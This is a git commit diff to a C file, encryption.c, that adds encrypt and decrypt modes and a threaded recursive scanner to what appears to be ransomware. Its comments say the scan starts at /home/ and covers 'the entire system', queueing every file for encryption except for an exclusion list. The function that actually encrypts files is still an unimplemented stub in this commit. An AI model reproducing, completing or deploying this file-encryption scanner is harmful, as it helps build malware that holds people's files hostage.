summaryrefslogtreecommitdiff
path: root/src
diff options
context:
space:
mode:
author@syxhe <https://t.me/syxhe>2025-12-30 19:58:23 -0600
committer@syxhe <https://t.me/syxhe>2025-12-30 19:58:23 -0600
commite814f6bcc2c66b249348f80c1307b98778fd7ae9 (patch)
tree5b112e5c3fd39d5bf08ba058e33935e7544091b7 /src
parente14302e7d4ba6113fdba2ecff92bbfe5511da6de (diff)
Make recursive folder scan work
Diffstat (limited to 'src')
-rw-r--r--src/encryption.c107
1 files changed, 37 insertions, 70 deletions
diff --git a/src/encryption.c b/src/encryption.c
index 5e667c6..322a2cd 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -393,48 +393,20 @@ int genpassword(char **str, unsigned int words) {
393 return words; 393 return words;
394} 394}
395 395
396// TODO: Rewrite this to use the threadpool. Each newly scanned file should be pushed onto the threadpool as an encryption task
397 396
398// #include <dirent.h> 397enum CRYPTSCAN_CRYPTMODE {
399 398 CRYPTSCAN_CRYPTMODE__UNSPEC,
400// dlinkedlist * scandirlist(const char * const dir, int (*selector)(const struct dirent *), int (*cmp)(const struct dirent **, const struct dirent **)) { 399 CRYPTSCAN_CRYPTMODE__ENCRYPT,
401// if(!dir || selector == NULL || cmp == NULL) ERRRET(EINVAL, NULL); 400 CRYPTSCAN_CRYPTMODE__DECRYPT,
402 401 CRYPTSCAN_CRYPTMODE__TOOBIG
403// struct dirent **namelist = NULL; 402};
404// dlinkedlist *list = NULL;
405// int numentries = -1;
406
407// if((numentries = scandir(dir, &namelist, selector, cmp)) < 0)
408// ERRRET(errno, NULL);
409
410// list = dlinkedlist_init();
411// for(int i = 0; i < numentries; i++)
412// if(dlinkedlist_append(list, (void *)(namelist[i]), free) < 0) {
413// dlinkedlist_free(list);
414// for(int j = i; j < numentries; j++)
415// free(namelist[j]);
416
417// free(namelist);
418// ERRRET(errno, NULL);
419// }
420// free(namelist);
421
422// return list;
423// }
424
425// Above implementation is flawed and would not actually scan the entire system. The process must be recursive:
426 // Step 1 - Create directory list
427 // Step 2 - Create --cryption ctq
428 // Step 3 - Scan initial starting dir. This will be /home/
429 // Step 4 - Iterate over scan results
430 // Step 4.1 - For all directory dirent objects, add them to the directory list
431 // Step 4.2 - For all file dirent objects, add them to the --cryption ctq
432 // Step 5 - Scan next entry in the dirlist, removing it once done. Repeat Step 4
433 // Step 6 - Free dirlist once empty, return newly populated --cryption ctq
434 403
435// Idea: Create 2 ctqs. Use one for the actual scanning, and the other as the return result. That way, not only will scanning be 404struct _cryptscan_args {
436// fast, but I can also just reuse code I've already written and not make some absolute spaghetti mess trying to do everything 405 char *folder;
437// linearly 406 taskqueue *toscan;
407 ctqueue *tocrypt;
408 enum CRYPTSCAN_CRYPTMODE mode;
409};
438 410
439/// Directory entries (files and folders) to exclude from encryption 411/// Directory entries (files and folders) to exclude from encryption
440#define EXCLUDED_ENTRIES ((const char* const []){\ 412#define EXCLUDED_ENTRIES ((const char* const []){\
@@ -458,12 +430,6 @@ static int _cryptscan__selector(const struct dirent *de) {
458 return 1; 430 return 1;
459} 431}
460 432
461struct _cryptscan_args {
462 char *folder;
463 taskqueue *toscan;
464 ctqueue *tocrypt;
465};
466
467void _cryptscan_args_free(void *data) { 433void _cryptscan_args_free(void *data) {
468 if(!data) return; 434 if(!data) return;
469 struct _cryptscan_args *real = data; 435 struct _cryptscan_args *real = data;
@@ -473,29 +439,12 @@ void _cryptscan_args_free(void *data) {
473 return; 439 return;
474} 440}
475 441
476// TODO: Implement 442int _cryptscan__crypt(void *data);
477int _cryptscan__crypt(void *data) { 443int _cryptscan__scan(void *data);
478 if(!data) return -1;
479 struct _cryptscan_args *real = data;
480
481 // Do things
482
483 return 0;
484}
485
486// TODO: Implement
487int _cryptscan__scan(void *data) {
488 if(!data) return -1;
489 struct _cryptscan_args *real = data;
490
491 // Do things
492
493 return 0;
494}
495 444
496/// helper function to deduplicate code for dealing with scandir. Scans the directory at `folder` and places dirents into their respective lists 445/// helper function to deduplicate code for dealing with scandir. Scans the directory at `folder` and places dirents into their respective lists
497int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt) { 446int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ctqueue *tocrypt, enum CRYPTSCAN_CRYPTMODE mode) {
498 if(!folder || !toscan || !tocrypt) return -1; 447 if(!folder || !toscan || !tocrypt || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return -1;
499 448
500 int res = 0; 449 int res = 0;
501 struct dirent **namelist = NULL; 450 struct dirent **namelist = NULL;
@@ -513,6 +462,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct
513 args->folder = strdup(namelist[i]->d_name); 462 args->folder = strdup(namelist[i]->d_name);
514 args->tocrypt = tocrypt; 463 args->tocrypt = tocrypt;
515 args->toscan = toscan; 464 args->toscan = toscan;
465 args->mode = mode;
516 if(!args->folder) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} 466 if(!args->folder) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;}
517 467
518 switch(namelist[i]->d_type) { 468 switch(namelist[i]->d_type) {
@@ -581,18 +531,35 @@ _cryptscan__process_scandir_CLEANUP:
581 return res; 531 return res;
582} 532}
583 533
534int _cryptscan__scan(void *data) {
535 if(!data) return -1;
536 struct _cryptscan_args *real = data;
537 return _cryptscan__process_scandir(real->folder, real->toscan, real->tocrypt, real->mode);
538}
539
540// TODO: Implement
541int _cryptscan__crypt(void *data) {
542 if(!data) return -1;
543 struct _cryptscan_args *real = data;
544
545 // Read data for filename & crypt mode to generate tasks
546
547
548 return 0;
549}
550
584// Going to implement this using a taskqueue. Each folder is added as a task to scan, with each file then added to a ctq for later. Scanning will be done linearly 551// Going to implement this using a taskqueue. Each folder is added as a task to scan, with each file then added to a ctq for later. Scanning will be done linearly
585// for my sake, and because I do not care to do generics in C beyond what is absolutely necessary (aka I don't want to implement a hashmap/hashset to make parallel 552// for my sake, and because I do not care to do generics in C beyond what is absolutely necessary (aka I don't want to implement a hashmap/hashset to make parallel
586// execution efficient) 553// execution efficient)
587 554
588ctqueue * cryptscan(int threads, const char * const start) { 555ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) {
589 if(!start || threads < 1) return NULL; 556 if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL;
590 557
591 taskqueue *toscan = taskqueue_new(); 558 taskqueue *toscan = taskqueue_new();
592 ctqueue *tocrypt = ctqueue_init(threads); 559 ctqueue *tocrypt = ctqueue_init(threads);
593 560
594 // Initialize the lists 561 // Initialize the lists
595 if(_cryptscan__process_scandir(start, toscan, tocrypt) < 1) goto cryptscan_ERR; 562 if(_cryptscan__process_scandir(start, toscan, tocrypt, mode) < 1) goto cryptscan_ERR;
596 563
597 // Loop through the scanlist until it's empty 564 // Loop through the scanlist until it's empty
598 while(taskqueue_size(toscan) > 0) { 565 while(taskqueue_size(toscan) > 0) {